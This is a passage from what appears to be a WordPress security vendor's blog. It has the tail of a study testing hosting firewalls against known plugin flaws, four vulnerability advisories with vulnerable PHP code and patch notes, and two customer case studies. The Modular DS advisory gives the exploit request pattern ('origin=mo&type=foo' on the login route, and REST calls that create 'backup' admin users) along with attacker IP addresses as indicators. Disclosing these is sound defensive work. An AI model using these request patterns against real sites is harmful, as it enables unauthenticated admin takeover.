4: WooCommerce Payments	Privilege Escalation	Unauthenticated	9.8	High
5: Suretriggers	Privilege Escalation	Unauthenticated	9.8	High
6: Post SMTP	Broken Authentication	Subscriber	8.8	High
7: GiveWP	PHP Object Injection	Unauthenticated	10	High
8: CSS/JavaScript Toolbox	Local File Inclusion	Subscriber	7.5	High
9: Litespeed Cache	Cross Site Scripting	Unauthenticated	8.3	High
10: WP Photo Album Plus	Arbitrary File Upload	Unauthenticated	10	High
11: 4ECPS Webforms	Arbitrary File Upload	Unauthenticated	10	High
12: CleverReach WP	SQL Injection	Unauthenticated	9.3	High
13: WP Job Portal	Arbitrary File Download	Unauthenticated	7.5	High
14: Tainacan	Arbitrary File Deletion	Unauthenticated	8.6	High
15: WC Multilingual	Broken Access Control	Unauthenticated	5.3	Low
16: File Manager Advanced	Broken Access Control	Unauthenticated	5.3	Low
17: Really Simple SSL	Cross Site Request Forgery	Unauthenticated	4.3	Low
18: PixelYourSite	Cross Site Request Forgery	Unauthenticated	5.4	Low
19: Secure Copy Content Protection	Cross Site Scripting	Unauthenticated	7.1	Medium
20: Login/Logout Redirect	Open Redirection	Unauthenticated	4.7	Low
21: Blog Designer Pack	Local File Inclusion	Unauthenticated	8.1	High
22: JS Support Ticket	Local File Inclusion	Unauthenticated	8.1	High
23: WP Funnel Manager	PHP Object Injection	Unauthenticated	9.8	High
24: Participants Database	PHP Object Injection	Unauthenticated	9.8	Medium
26: Profitori / The E-Commerce ERP	Privilege Escalation	Unauthenticated	9.8	High
26: Spreadsheet Price Changer	Privilege Escalation	Unauthenticated	9.8	High
27: Password Policy Manager	Broken Authentication	Subscriber	8.8	High
28: Easy Stripe	Remote Code Execution	Unauthenticated	10	High
29: PDF2Post	Remote Code Execution	Subscriber	9.9	High
30: MDFT	SQL Injection	Unauthenticated	9.3	High

The other major decision made was hosts to test. For this, we again wanted a broad spectrum of coverage. We looked to find both very large and relatively small hosts, as well as a mix of hosts who prominently advertised their security, as well as those who only mentioned it in passing.

To perform our tests, we set up each host with a stock WordPress instance. We used the most recent available WordPress version, and the stock Twenty Twenty-Five theme.

If a host provided their own security-related plugins (e.g., Jetpack), we would enable these. Otherwise, no other plugins were enabled. We would also review the host’s dashboard for security options, and ensure those features were enabled.

Executing the test attacks

After WordPress was installed, we installed the vulnerable versions of each plugin with a vulnerability we were testing, as well as any plugins they required (e.g., WooCommerce). Once installed, we automatically applied a preset configuration to the site and all plugins, ensuring each testing environment was as identical as possible.

Finally we would attempt to exploit each vulnerability using a prebuilt proof of concept (PoC) exploit. We intentionally kept the PoCs identical in each test and used the simplest reasonable PoCs we could produce. We also did not use any obfuscation or advanced bypass techniques in these attempts.

The goal was to simulate real-life conditions by using the simplest attacks possible, thereby giving the hosts a fair chance to block the exploits.

Part II – Results & findings

As we had assumed the hosting defences did better compared to our original test results. On average, hosts managed to block 25.89% of exploit attempts, versus 12.8% in the original study.

However, this means roughly 74% of attacks still succeeded.

In the chart below you can see the breakdown of complete and partial success rates by host and the security setup that was tested:

⚠️ Note: Host names are hidden, but they are known to the external observers.

After reviewing these results and correlating them with the security solutions each host used, we found some interesting notes on the efficacy of some industry solutions.

Hosting defences mostly ineffective against WordPress vulnerabilities

We found that WordPress-specific vulnerabilities were still the least blocked across all hosts.

Of the high-impact vulnerabilities, Privilege Escalation attacks were blocked only 12% of the time.

The biggest shock was the gap between how many companies describe their security and how it performs in practice.

But if you think about it, it is understandable because hosting providers rely on security stacks that promise strong protection, while even the most popular solutions do not provide full coverage.

— Konrad Keck, webhosting.today

Privilege Escalation is considered one of the most severe types of attacks – once an attacker has gained Administrator privileges, they can edit any content on your website, see any sensitive data (e.g., customer information on an e-Commerce website), or potentially even upload their own malicious PHP files, often bypassing any protections against PHP upload attacks, using WordPress’ built in tools for plugin/theme management.

“WAF” can mean anything, and nothing

Many hosts advertised a commercial web application firewall, specifically a solution often used for DNS management, anti-DDoS protection, and CDN functionality.

While these services often have a managed ruleset that can block common attack types (e.g., directory traversal, cross-site scripting, or PHP object injection), we did not see consistent results across all hosts using these products, even between different companies using the same product.

What surprised me about the results, is that the same security solutions had wildly varying degrees of efficacy.

— Kevin Ohashi, WPHostingBenchmarks.com

Based on this, we believe hosts are often enabling only certain components of these solutions, obfuscating what their WAF solution does and does not protect against, and can’t be evaluated solely because they “use an X brand firewall”.

It is also likely that hosts are limiting the capabilities of firewalls, as stricter rules would result in high volumes of false positives, which in turn would disrupt their normal services.

In-house firewalls more effective than commercial solutions for generic attacks

When looking at generic, non-WordPress specific vulnerability attacks, hosts’ in-house firewall solutions outperformed commercial solutions.

Our results show that the hosts that performed best maintained their own internal firewall solutions.

While seeing a host advertise an in-house firewall isn’t a silver bullet for securing your WordPress websites, it does confirm another assumption we had: the hosts that perform best are the ones investing resources in improving their environments.

The vast majority of successful blocks were from non-WordPress-specific vulnerabilities. The most consistently blocked vulnerability class was Arbitrary File Uploads*, in which all three tested vulnerabilities were blocked 60% of the time.

Arbitrary File Upload attacks involve uploading a malicious PHP file to the website, and once fully exploited, an attacker can immediately gain full control of the hosting environment. We considered the attack blocked when either the file itself was prevented from being uploaded or the hosting environment prevented our execution of it.

A special note on Cross-Site Request Forgery attacks

Cross-Site Request Forgery (CSRF) attacks were the only ones that weren’t blocked by any host, or even Patchstack (in fact, we generally don’t provide protection rules for CSRF).

This is due to the unique nature of CSRF vulnerabilities. These are usually impossible to exploit at scale, and they require specific targeting and social engineering to succeed. It’s also difficult to prevent these exploits using protection rules without severely impacting normal site functionality.

No host can reasonably be expected to cover these vulnerabilities, and the two CSRF cases were selected for the experiment solely to ensure the widest possible coverage of different vulnerability types.

Conclusions

The results of this study support our initial conclusion that WordPress vulnerability mitigation remains a largely unsolved problem.

Hosting companies seem to agree – in their 2025 Web Hosting Trends survey, Cloudlinux reported that 64% of hosting companies cited WordPress vulnerabilities specifically as their biggest security challenge.

In our conversations with hosting industry representatives, we’ve noticed the biggest problem isn’t that hosts don’t care about vulnerability attacks – it’s that they think their existing solutions have got them covered.

Hosting companies are not security companies, yet they still carry responsibility for the security of their customers. Many providers are not even aware of the problem and assume that using third-party security tools is enough, so the issue often gets ignored.

— Konrad Keck, webhosting.today

Effective security, however, works in layers. Different threats require different approaches, and as we saw from the test results, one-stop-shop tools & generic WAFs cannot cover vulnerability exploits.

With vibe-coding introducing more security issues both within and outside the WordPress ecosystem, hosts need to rethink how they build their security stacks to provide safe solutions for their customers.

How does your security stack up against vulnerabilities? Let’s find out

If you’re a hosting company and would like to have your security stack tested using the same framework then get in touch and we’ll perform this pentest for you for free.

If you’re interested, simply fill out the form on this page and our security team will be in touch.

P.S. your results will be kept confidential. You will also have full transparency into the vulnerabilities and attack methods used.

Special thanks 🙏

We’d like to thank Konrad Keck and Kevin Ohashi for helping us validate the test methods, and also for your questions and feedback throughout this process!

Critical Arbitrary File Upload Vulnerability in RealHomes CRM Plugin Affecting 30k+ Sites

Rafie Muhammad — Thu, 22 Jan 2026 10:08:24 GMT

This blog post is about a Subscriber+ arbitrary file upload vulnerability in the RealHomes CRM. If you’re a RealHomes CRM user, please update to at least version 1.0.1.

This vulnerability was discovered and reported by Patchstack Alliance community member wackydawg.

✌️ Our users are protected from this vulnerability. Are yours?

Web developers

Mitigate vulnerabilities in real-time without changing code.

See pricing

Plugin developers

Identify vulnerabilities in your plugins and get recommendations for fixes.

Request audit

Hosting companies

Protect your users, improve server health and earn additional revenue.

Patchstack for hosts

About the RealHomes theme

The RealHomes theme, with over 30,000 active installations, is a theme specifically designed for creating professional real estate websites and was developed by InspiryThemes. The theme itself has a bundled plugin called RealHomes CRM.

The theme itself offers extensive features like advanced search, property listing layouts (grid, list, map), front-end submission/management for users, payment integration (PayPal/Stripe), and integration with page builders like Elementor for easy customization, making property management and showcasing properties efficient for agents and businesses.

The security vulnerability

In versions 1.0.0 and below, the RealHomes CRM plugin is vulnerable to arbitrary file upload, due to allowing any logged-in user to arbitrarily upload files via the upload CSV file process. This means any Subscriber or higher user is able to inject malicious code through the upload process, which can lead to a full site takeover.

This vulnerability has been patched in version 1.0.1 and is tracked with CVE-2025-67968.

The root cause of the issue lies in the upload_csv_file function:

public function upload_csv_file() {
	check_ajax_referer( 'realhomes_crm_ajax_nonce', 'security' );

	if ( empty( $_FILES['csv_file'] ) || $_FILES['csv_file']['error'] !== UPLOAD_ERR_OK ) {
		wp_send_json_error( [ 'message' => esc_html__( 'Invalid file upload.', REALHOMES_CRM_TEXT_DOMAIN ) ] );
	}

	// Get the uploaded file info
	$file       = $_FILES['csv_file'];
	$upload_dir = wp_upload_dir();
	$target_dir = trailingslashit( $upload_dir['basedir'] ) . 'realhomes-crm/csv-import/';

	// Ensure target directory exists
	if ( ! file_exists( $target_dir ) ) {
		wp_mkdir_p( $target_dir );
	}

	$file_name   = pathinfo( $file['name'], PATHINFO_FILENAME );
	$file_ext    = pathinfo( $file['name'], PATHINFO_EXTENSION );
	$target_file = $target_dir . $file['name'];

	// Check if the file already exists and append a numeric postfix if needed
	$counter = 1;
	while ( file_exists( $target_file ) ) {
		$target_file = $target_dir . $file_name . '-' . $counter . '.' . $file_ext;
		$counter ++;
	}

	// Move the uploaded file to the target directory
	if ( move_uploaded_file( $file['tmp_name'], $target_file ) ) {
		$file_name     = basename( $target_file );
		$file_size     = file_exists( $target_file ) ? round( filesize( $target_file ) / 1024, 0 ) : 0; // File size in KB
		$uploaded_date = current_time( 'mysql' );
--------------------------- CUT HERE ---------------------------

First, we notice that there is a nonce check using the check_ajax_referer function. However, the realhomes_crm_ajax_nonce nonce value itself can be fetched from Subscriber role users on the wp-admin base page or front-end page.

Second, there is no proper permission check on the function, which allows users to just supply arbitrary files via $_FILES[‘csv_file’]. Lastly, the function didn’t have a proper file type and name check, and will directly upload the file via move_uploaded_file to the server.

The patch

In version 1.0.1, the vulnerability is mitigated with the addition of a current_user_can permissions check, ensuring that only legitimate, privileged users are allowed to use this AJAX action. The patch also implements a proper file type and extension check using the wp_check_filetype function.

Conclusion

Nonce validation is essential for any site functionality that can cause changes, and a lack of nonce validation can lead to other vulnerabilities, such as CSRF attacks.

However, like the WordPress developer documentation says:

Nonces should never be relied on for authentication, authorization, or access control. Protect your functions using current_user_can() and always assume that nonces can be compromised.

Even when limited to only showing to the correct users, a nonce is not a substitute for proper user validation, as the risk of compromise always exists. And when shown more broadly, such as in this case, it leads to a common problem in many WordPress components, where access control is only limited by who can click the View Page Source button and find a nonce hiding in there.

Privileged functionality should always be specifically validating permissions, and cannot just assume that only the correct users will have the needed nonce.

Lastly, always implement a proper file type and extension check on a file upload process. One of the built-in functions that can be used is the wp_check_filetype function.

Want to learn more about finding and fixing vulnerabilities?

🤝 You can help us make the Internet a safer place

Plugin developer?

Streamline your disclosure process to fix vulnerabilities faster and comply with CRA.

Get started for free

Hosting company?

Protect your users too! Improve server health and earn added revenue with proactive security.

Patchstack for hosts

Security researcher?

Report vulnerabilities to our gamified bug bounty program to earn monthly cash rewards.

Learn more

Critical Privilege Escalation Vulnerability in Modular DS plugin affecting 40k+ Sites exploited in the wild

Edouard — Wed, 14 Jan 2026 12:26:54 GMT

This blog post is about an Unauthenticated Privilege Escalation vulnerability in the Modular DS plugin. Patchstack has issued a mitigation rule to protect against exploitation of this vulnerability. If you’re a Modular DS user, please update to at least version 2.6.0.

This vulnerability was discovered and reported to Patchstack by Teemu Saarentaus from group.one.

Update 16 Jan 2026
An additional exploit path was discovered that is being actively exploited, this occurred due to another piece of code that sets the authentication of the current user to that of an administrator allowing the execution of any WordPress REST route under the admin privilege. The exploitation attempts that we have seen consists of the creation of an administrator user on the website, typically under the username backup with email backup@wordpress.com and backup1@wordpress.com.

Patchstack has deployed a mitigation rule for this as well as a vulnerability entry under CVE 2026-23800, more IOC/IOA’s have been added further down in this blog post.

Again, much credit to the Modular DS team for quickly tackling this and their great communication by releasing a version 2.6.0 that resolves this new vulnerability.

✌️ Our users are protected from this vulnerability. Are yours?

Web developers

Mitigate vulnerabilities in real-time without changing code.

See pricing

Plugin developers

Identify vulnerabilities in your plugins and get recommendations for fixes.

Request audit

Hosting companies

Protect your users, improve server health and earn additional revenue.

Patchstack for hosts

About the Modular DS plugin

Modular DS is a plugin developed by modulards.com, which has over 40,000 active installs. Its goal is to help managing multiple WordPress websites, including monitoring, updating, as well as performing various tasks remotely.

The security vulnerability

In versions 2.5.1 and below, the plugin is vulnerable to privilege escalation, due to a combination of factors including direct route selection, bypassing of authentication mechanisms, and auto-login as admin.

To provide some context, the plugin exposes its routes through a Laravel-like router under the /api/modular-connector/ prefix in src/app/Providers/RouteServiceProvider.php, boot().

The sensitive routes are grouped under a Route::middleware('auth') group, which is supposed to enforce authentication. However, it turned out to be possible to bypass it because the mechanism ultimately relies on a flawed isDirectRequest() method (vendor/ares/framework/src/Foundation/Http/HttpUtils.php) that bypasses authentication when the “direct request” mode is activated.

This mode can be enabled simply by supplying an origin parameter set to “mo” and a type parameter set to any value.

public static function isDirectRequest(): bool
    {
        $request = \Modular\ConnectorDependencies\app('request');
        $userAgent = $request->header('User-Agent');
        $userAgentMatches = $userAgent && Str::is('ModularConnector/* (Linux)', $userAgent);
        $originQuery = $request->has('origin') && $request->get('origin') === 'mo';
        $isFromQuery = ($originQuery || $userAgentMatches) && $request->has('type');
        // When is wp-load.php request
        if ($isFromQuery) {
            return 	rue;
        }
        // TODO Now we use Laravel routes but we can't directly use the routes
        $isFromSegment = \false && $request->segment(1) === 'api' && $request->segment(2) === 'modular-connector';
        if ($isFromSegment) {
            return 	rue;
        }
        return \false;
    }

There is no verification of a signature, secret, IP, or mandatory User-Agent: the simple pair origin=mo&type=xxx is enough for the request to be considered as a Modular direct request.

As well, when the request is considered “direct”, the auth middleware in vendor/ares/framework/src/Foundation/Auth/ModularGuard.php only checks if the site is connected to Modular via the validateOrRenewAccessToken() function.

Therefore, as soon as the site has already been connected to Modular (tokens present/renewable), anyone can pass the auth middleware: there is no cryptographic link between the incoming request and Modular itself. This exposes several routes, including /login/, /server-information/, /manager/ and /backup/, which allow various actions to be performed, ranging from remote login to obtaining sensitive system or user data.

Route::middleware('auth')
    ->group(function () {
        Route::get('/login/{modular_request}', [AuthController::class, 'getLogin'])
            ->name('login');

        Route::get('/users/{modular_request}', [AuthController::class, 'getUsers'])
            ->name('manager.users.index');

        Route::get('/server-information', [ServerController::class, 'getInformation'])
            ->name('manager.server.information');

       [...]

        #region Cache
        Route::get('/cache/clear', [CacheController::class, 'clear'])
            ->name('manager.cache.clear');
        #endregion

        #region Manager
        Route::get('/manager/{modular_request}', [ManagerController::class, 'index'])
            ->name('manager.update');

        Route::get('/manager/{modular_request}/install', [ManagerController::class, 'store'])
            ->name('manager.install');

        [...]

        Route::get('/manager/{modular_request}/delete', [ManagerController::class, 'update'])
            ->name('manager.delete');
        #endregion


        # region Safe Upgrade
        Route::get('/manager/{modular_request}/safe-upgrade/backup', [SafeUpgradeController::class, 'getSafeUpgradeBackup'])
            ->name('manager.safe-upgrade.backup');

[...]

        Route::get('/manager/{modular_request}/safe-upgrade/rollback', [SafeUpgradeController::class, 'getSafeUpgradeRollback'])
            ->name('manager.safe-upgrade.rollback');
        # endregion

        #region Backup
        Route::get('/tree/directory/{modular_request}', [BackupController::class, 'getDirectoryTree'])
            ->name('manager.directory.tree');

       [...]

        Route::get('/woocommerce/{modular_request}', WooCommerceController::class)
            ->name('manager.woocommerce.stats');
    });

Focus on the /login/{modular_request} route giving an unauthenticated access to wp-admin

In the controller src/app/Http/Controllers/AuthController.php, method
getLogin(SiteRequest $modularRequest), the code attempts to read a user ID from the body of $modularRequest. If this is empty, it falls back to getting existing admin or super admin users via getAdminUser(), then logs in as that user and returns an admin redirect.

Since this code can be accessed by unauthenticated users because of the flaw previously explained, it allows an immediate privilege escalation.

public function getLogin(SiteRequest $modularRequest)
    {
        $user = data_get($modularRequest->body, 'id');

        if (!empty($user)) {
            $user = get_user_by('id', $user);
        }

        if (empty($user)) {
            Cache::driver('wordpress')->forget('user.login');

            $user = ServerSetup::getAdminUser();
        } else {
            Cache::driver('wordpress')->forever('user.login', $user->ID);
        }

        if (empty($user)) {
            // TODO Make a custom exception
            throw new \Exception('No admin user detected.');
        }

        $cookies = ServerSetup::loginAs($user, true);

        return Response::redirectTo(admin_url('index.php'))
            ->withCookies($cookies);
    }

This vulnerability has been patched in version 2.5.2 and is tracked with CVE-2026-23550.

The patch

In version 2.5.1, the route was first matched based on the attacker-controlled URL. So if an attacker called
/api/modular-connector/login/anything?…, the router would naturally resolve the login/{modular_request} route and pass it to the filter. Then, in RouteServiceProvider::bindOldRoutes(), if type was not recognized (e.g. foo), the code would not fall back to any alternative route and would simply return the original route (/login/…).

In version 2.5.2, URL-based route matching has been removed. The router no longer matches routes for this subsystem based on the requested path and route selection is now entirely driven by the filter logic.

As well, a default route pointing to an error 404 was added in src/routes/api.php. In src/app/Providers/RouteServiceProvider.php, bindOldRoutes() was refactored: its signature changed (it no longer receives $route), it now retrieves the available routes, and binds it to the current request with a default fallback.

Only afterwards, if the request is a “direct request” and if type is recognized (request, oauth, lb), it replaces $route with an allowed route (by name) and binds it. Otherwise, the code stays on the default route, which results in a 404.

Indicators of Attack & Compromise (IOA/IOC)

According to WP.one Support Engineer’s team, first attacks were detected on January 13th around 2AM UTC0. The pattern is a GET call to /api/modular-connector/login/, with origin parameter set to “mo” and type set to “foo”.

Following Patchstack mitigation rule deployment, we immediately noticed exploitation attempts matching the same patterns on our client’s sites.

When successfully logged in through the flaw, the attacker then attempts to create a new “PoC Admin” WordPress administrator user, using a username containing “admin” and a bogus email address.

So far, we have identified the following attacking IP addresses:

45.11.89.19
185.196.0.11
64.188.91.37

New IOA/IOC for the second vulnerability:

Request path looking like /?rest_route=/wp/v2/users&origin=mo&type=x where the user agent is often firefox and a body payload is provided with a parameter username containing backup and email parameter containing backup@wordpress.com or backup1@wordpress.com.

We have identified the following attacking IP addresses:

62.60.131.161
185.102.115.27

Conclusion

This vulnerability highlights how dangerous implicit trust in internal request paths can be when exposed to the public internet. In this case, the issue was not caused by a single bug, but by several design choices combined together: URL-based route matching, a permissive “direct request” mode, authentication based only on the site connection state, and a login flow that automatically falls back to an administrator account.

When these elements are chained, an unauthenticated attacker can reach a sensitive internal route and trigger an admin login, leading to a full site compromise. The fact that exploitation was seen in the wild shortly after mitigation rules were deployed confirms that this flaw is actively abused.

This case shows that internal or inter-service features should never be reachable without strong validation of where the request comes from. Authentication should verify the requester itself, not just whether the site is connected, and routing decisions should not depend on attacker-controlled parameters.

Want to learn more about finding and fixing vulnerabilities?

🤝 You can help us make the Internet a safer place

Plugin developer?

Streamline your disclosure process to fix vulnerabilities faster and comply with CRA.

Get started for free

Hosting company?

Protect your users too! Improve server health and earn added revenue with proactive security.

Patchstack for hosts

Security researcher?

Report vulnerabilities to our gamified bug bounty program to earn monthly cash rewards.

Learn more

Case study: How Libya’s Leading Host – Libyan Spider – Blocked 65k+ Threats with Patchstack

Lana Rafaela — Thu, 08 Jan 2026 13:09:42 GMT

65K+

Threats blocked by Patchstack in a few months across 410 sites

As Libya’s leading hosting and domain provider, Libyan Spider supports a rapidly growing WordPress ecosystem. Following national compliance trends and market demand encouraging businesses to establish an online presence, the company saw a sharp increase in WordPress installations, many managed by non-technical users.

While this growth unlocked new opportunities, it also expanded Libyan Spider’s security responsibilities. To maintain customer trust, meet ISO 27001 requirements, and protect WordPress sites at scale, Libyan Spider turned to Patchstack.

Patchstack blocked 65k+ threats across 410 websites in just a few months. And in the future, we plan to make it a part of our default onboarding flow for even stronger security.

— Mohamed Ayad, CEO @ Libyan Spider

The challenge: Rapid WordPress adoption expands the attack surface

While the underlying vulnerabilities existed on customer-managed WordPress sites, the rapid growth of WordPress installations meant the operational burden fell on Libyan Spider, driving more support cases and a stronger need for proactive protection.

Many customer websites relied on outdated plugins and themes, followed inconsistent update practices, and lacked a clear understanding of WordPress security responsibilities.

At a hosting scale, these gaps quickly turned into operational challenges:

Recurring vulnerabilities in customer-managed WordPress sites
Difficulty enforcing consistent security across shared hosting environments
Limited visibility into which plugins exposed customer sites to risk
The need for a scalable, automated security layer to support ISO 27001-aligned controls

Before Patchstack, WordPress security incidents directly affected both operations and customer experience. Support teams faced a growing volume of vulnerability-related tickets and spent significant time investigating incidents on shared hosting accounts. Meanwhile, customers grew frustrated, often unaware that they needed to take action to keep sites secure.

It became clear that Libyan Spider needed a proactive security approach that protected customers without increasing operational overhead.

The solution: Proactive WordPress security at scale

Patchstack enabled Libyan Spider to shift from reactive incident response to a proactive WordPress security model built for hosting environments.

Following a fast implementation, Libyan Spider was able to:

Detect plugin and theme vulnerabilities earlier
Reduce manual security checks for support and security teams
Gain clearer internal visibility into WordPress risk exposure
Improve coordination between NOC, support, and security units

Instead of responding after compromises occurred, teams could now identify and mitigate risks before exploitation. Response times improved, operational efficiency increased, and customers experienced fewer security-related issues – without any change to their workflows.

Integrating Patchstack into Libyan Spider’s infrastructure

Patchstack integrated smoothly into existing systems, allowing Libyan Spider to strengthen security without adding complexity – all the while ensuring that customers experience no disruption or workflow changes.

1️⃣

Fast rollout across shared hosting and VPS environments

2️⃣

Patchstack’s API enabled future automation planning via WHMCS

3️⃣

The dashboard provided immediate visibility into vulnerabilities across customer installations

The results

With Patchstack in place, Libyan Spider has significantly improved both the security and stability of its WordPress hosting environments:

410 active WordPress installations are currently protected with Patchstack
65,811 threats blocked, including attempts to exploit vulnerable plugins and themes
A noticeable decrease in WordPress vulnerability-related support tickets
Faster incident resolution using Patchstack’s contextual vulnerability insights
Improved stability across shared hosting environments

These results were achieved early in the rollout, and adoption is expected to grow further as Patchstack becomes part of the default onboarding workflow. Libyan Spider’s users get greater security – without added complexity.

Want to turn your hosting plans into secure and high-converting solutions? Let’s talk about how Patchstack can help.

trusted security partner for

Seahawk Media Partners with Patchstack to Strengthen WordPress Security

Lana Rafaela — Wed, 07 Jan 2026 13:51:26 GMT

We’re happy to share that Seahawk Media, a large WordPress agency serving businesses and hosting providers worldwide, has started using Patchstack to secure client websites.

Seahawk Media specialises in white-label WordPress services for businesses and hosts, including development, maintenance, and ongoing support. Their maintenance plans are used to manage and protect a large number of WordPress sites on behalf of their partners, and they’ve now become stronger with the addition of Patchstack.

Security is non-negotiable for us. Patchstack provides us with real-time visibility and confidence that our clients’ WordPress sites are protected at scale, without adding operational complexity.

— Gautam Khorana, COO & Co-founder @ Seahawk Media

Stronger security for Seahawk Media’s customers with Patchstack

Seahawk Media is now offering Patchstack to select maintenance plan customers at no additional cost. This ensures their WordPress sites are continuously protected against known vulnerabilities, not just cleaned after an incident.

Patchstack adds an extra layer of security by monitoring vulnerable plugins and themes and preventing attacks before they happen.

In addition to enhanced security, Seahawk Care Plans also provide Site Speed Optimization and Image Optimization, keeping websites fast, efficient, and always ready for their customers’ audience.

Learn more about Seahawk Care Plans

Patchstack also added after hack cleanups

If a client’s site is compromised before installing Patchstack, Seahawk Media will perform the cleanup.

Once the site is successfully cleaned up and restored, they will install Patchstack to ensure no vulnerabilities exist and prevent future attacks, reducing the risk of repeat incidents.

Helping agencies deliver better security

We’re excited to welcome Seahawk Media to the Patchstack ecosystem and help protect even more WordPress sites.

And with Patchstack now part of their security stack, Seahawk Media is joining the ranks of WordPress professionals, agencies, and hosts moving from reactive cleanup to proactive protection – exactly where WordPress security should be.

Critical Arbitrary File Upload Vulnerability in Motors Theme Affecting 20k+ Sites

Rafie Muhammad — Wed, 17 Dec 2025 10:24:54 GMT

This blog post is about a Subscriber+ arbitrary file upload vulnerability in the Motors theme. If you’re a Motors theme user, please update to at least version 5.6.82.

This vulnerability was discovered and reported by Patchstack Alliance community member Denver Jackson.

✌️ Our users are protected from this vulnerability. Are yours?

Web developers

Mitigate vulnerabilities in real-time without changing code.

See pricing

Plugin developers

Identify vulnerabilities in your plugins and get recommendations for fixes.

Request audit

Hosting companies

Protect your users, improve server health and earn additional revenue.

Patchstack for hosts

About Motors theme

The Motors theme, with over 20,000 active installations, is a theme specifically designed for building automotive websites and was developed by StylemixThemes.

The theme is a popular, feature-rich WordPress theme and plugin designed for building automotive websites, specifically car dealerships, rental sites, and classified listings for vehicles (cars, bikes, boats, etc.).

The security vulnerability

In versions 5.6.81 and below, the theme is vulnerable to arbitrary file upload, due to allowing any logged-in user to arbitrarily install and activate plugins on the site. This means any Subscriber or higher user is able to inject malicious code through the plugin installation and activation and leading to a full site takeover.

This vulnerability has been patched in version 5.6.82 and is tracked with CVE-2025-64374.

The root cause of the issue lies in the mvl_theme_install_base function:

add_action( 'wp_ajax_mvl_theme_install_base', 'mvl_theme_install_base' );

function mvl_theme_install_base() {
	check_ajax_referer( 'mvl_theme_install_base', 'nonce' );

	$response = array();

	$plugin_url  = sanitize_text_field( $_GET['plugin'] );
	$plugin_slug = 'motors-car-dealership-classified-listings';

	ob_start();
	require_once ABSPATH . 'wp-load.php';
	require_once ABSPATH . 'wp-admin/includes/class-wp-upgrader.php';
	require_once ABSPATH . 'wp-admin/includes/class-plugin-upgrader.php';
	require_once ABSPATH . 'wp-admin/includes/plugin-install.php';
	require_once ABSPATH . 'wp-admin/includes/plugin.php';
	require_once ABSPATH . 'wp-admin/includes/class-wp-upgrader-skin.php';
	require_once get_template_directory() . '/inc/install_plugin/stm_upgrader_skin.php';

	$plugin_upgrader = new Plugin_Upgrader( new Motors_Theme_Plugin_Upgrader_Skin( array( 'plugin' => $plugin_slug ) ) );

	$installed = ( mvl_theme_check_plugin_active( $plugin_slug ) ) ? true : $plugin_upgrader->install( $plugin_url );
	mvl_theme_activate_plugin( $plugin_slug );

	$response['message'] = ob_get_clean();
	$response['url']     = admin_url( 'admin.php?page=mvl_plugin_settings' );

	wp_send_json( $response );
}

First, we notice that there is a nonce check using the check_ajax_referer function. However, the mvl_theme_install_base nonce value itself can be fetched from Subscriber role users on the wp-admin base page.

Since there is no proper permission check on the function, users can just supply arbitrary plugin code from any URL via the $_GET[‘plugin’] parameter, and the plugin will be installed or activated.

The patch

In version 5.6.82, the vulnerability is mitigated with the addition of a current_user_can permissions check, ensuring that only legitimate, privileged users are allowed to use this AJAX action.

Conclusion

Nonce validation is essential for any site functionality that can cause changes, and a lack of nonce validation can lead to other vulnerabilities, such as CSRF attacks.

However, like the WordPress developer documentation says:

Nonces should never be relied on for authentication, authorization, or access control. Protect your functions using current_user_can() and always assume that nonces can be compromised.

Privileged functionality should always be specifically validating permissions, and cannot just assume that only the correct users will have the needed nonce.

Want to learn more about finding and fixing vulnerabilities?

🤝 You can help us make the Internet a safer place

Plugin developer?

Streamline your disclosure process to fix vulnerabilities faster and comply with CRA.

Get started for free

Hosting company?

Protect your users too! Improve server health and earn added revenue with proactive security.

Patchstack for hosts

Security researcher?

Report vulnerabilities to our gamified bug bounty program to earn monthly cash rewards.

Learn more

Privilege Escalation Vulnerability in Soledad Theme Affecting 50k+ Sites

Chazz Wolcott — Wed, 10 Dec 2025 19:27:45 GMT

This blog post is about an Subscriber+ privilege escalation vulnerability in the Soledad theme. If you’re a Soledad theme user, please update to at least version 8.6.9.1.

This vulnerability was discovered and reported by Patchstack Alliance community member Denver Jackson.

✌️ Our users are protected from this vulnerability. Are yours?

Web developers

Mitigate vulnerabilities in real-time without changing code.

See pricing

Plugin developers

Identify vulnerabilities in your plugins and get recommendations for fixes.

Request audit

Hosting companies

Protect your users, improve server health and earn additional revenue.

Patchstack for hosts

About Soledad theme

The Soledad theme, which has over 57,000 active sales, is a general-purpose WordPress theme sold by PenciDesign.

The security vulnerability

In versions 8.6.9 and below, the theme is vulnerable to privilege escalation, due to allowing any logged-in user to change global site settings, such as users_can_register and default_role, through the penci_update_option AJAX action. This action requires nonce validation, but does not check the user’s permissions or limit what options can be changed. Additionally, the nonce in question is available to any user able to access /wp-admin. Put together, this means any Subscriber or higher user is able to change site registration settings to allow new users to be created as Administrators, leading to a full site takeover.

This vulnerability has been patched in version 8.6.9.1 and is tracked with CVE-2025-64188.

The root cause of the issue lies in the penci_update_option function:

public function penci_update_option() {
	check_ajax_referer( 'ajax-nonce', 'nonce' );
	$option_name = isset( $_POST['option_name'] ) ? sanitize_text_field( wp_unslash( $_POST['option_name'] ) ) : '';
	$option_val  = isset( $_POST['option_val'] ) ? wp_unslash( $_POST['option_val'] ) : '';

	if ( $option_name && $option_val ) {
		update_option( $option_name, $option_val );
		wp_send_json_success( array( 'message' => 'Option updated successfully.' ) );
	} else {
		wp_send_json_error( array( 'message' => 'Invalid option name.' ) );
	}
}

The patch

In version 8.6.9.1, the vulnerability is mitigated with the addition of a current_user_can permissions check, ensuring that only legitimate, privileged users are allowed to use this AJAX action.

Conclusion

Nonce validation is essential for any site functionality that can cause changes, and a lack of nonce validation can lead to other vulnerabilities, such as CSRF attacks.

However, like the WordPress developer documentation says:

Nonces should never be relied on for authentication, authorization, or access control. Protect your functions using current_user_can() and always assume that nonces can be compromised.

Even when limited to only show to the correct users, a nonce is not a substitute for proper user validation, as the risk of compromise always exists. And when shown more broadly, such as in this case, it leads to a common problem in many WordPress components, where access control is only limited by who can click the View Page Source button and find a nonce hiding in there.

Privileged functionality should always be specifically validating permissions, and cannot just assume that only the correct users will have the needed nonce.

Want to learn more about finding and fixing vulnerabilities?

🤝 You can help us make the Internet a safer place

Plugin developer?

Streamline your disclosure process to fix vulnerabilities faster and comply with CRA.

Get started for free

Hosting company?

Protect your users too! Improve server health and earn added revenue with proactive security.

Patchstack for hosts

Security researcher?

Report vulnerabilities to our gamified bug bounty program to earn monthly cash rewards.

Learn more